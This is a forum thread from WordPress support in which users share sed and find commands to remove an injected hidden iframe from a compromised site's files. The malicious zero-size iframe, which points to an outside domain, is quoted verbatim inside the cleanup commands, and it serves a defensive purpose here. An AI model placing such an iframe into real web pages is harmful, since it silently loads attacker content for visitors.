Viewing 2 replies - 1 through 2 (of 2 total)
  • BACKUP YOU FILES BEFORE YOU TRY THIS.
    Also, test your script before you actually run it on your production files!

    You can run:
    sed ‘s/string to be replaced/the replacement string/’ < input.html > output.html

    If you need to escape a “/” in the “string to be replaced” part, you can use: ‘\/’.

    So, in your case, it’s something like:

    sed ‘s/<iframe src=”http:\/\/m-analytics.net\/qaqa\/?daf02d89f0bb66c3b4a9ff31da01e10a” width=0 height=0 style=”hidden” frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//’ < a.html > b.html

    Another option is to scp the files to your desktop, run a search and replace with your favorite multi-file text editor, and scp the files back.

    I hope it helps…

    Thread Starter talgalili

    (@talgalili)

    Thank you Eburcat.
    I eventually solved the problem and thought it would be nice to share the code I used with everyone else:

    find . -name ‘*.*’ -exec sed -i ‘s/<iframe src=”http:\/\/m-analytics.net\/qaqa\/?daf02d89f0bb66c3b4a9ff31da01e10a” width=0 height=0 style=”hidden” frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//g’ {} \;

    p.s: I used PuTTY for the SSH, but several times had to do it again, since it crashed while doing some of the work (although it crashed less then winSCP).

    p.p.s: if you are new to wordpress, run, read, and install the security plugins mentioned here:
    https://weblogtoolscollection.com/archives/2009/06/15/security-and-anti-spam-plugins-for-wordpress/

    Cheers,
    Tal

Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘iframe injection – how to “search and replace” all the files ?’ is closed to new replies.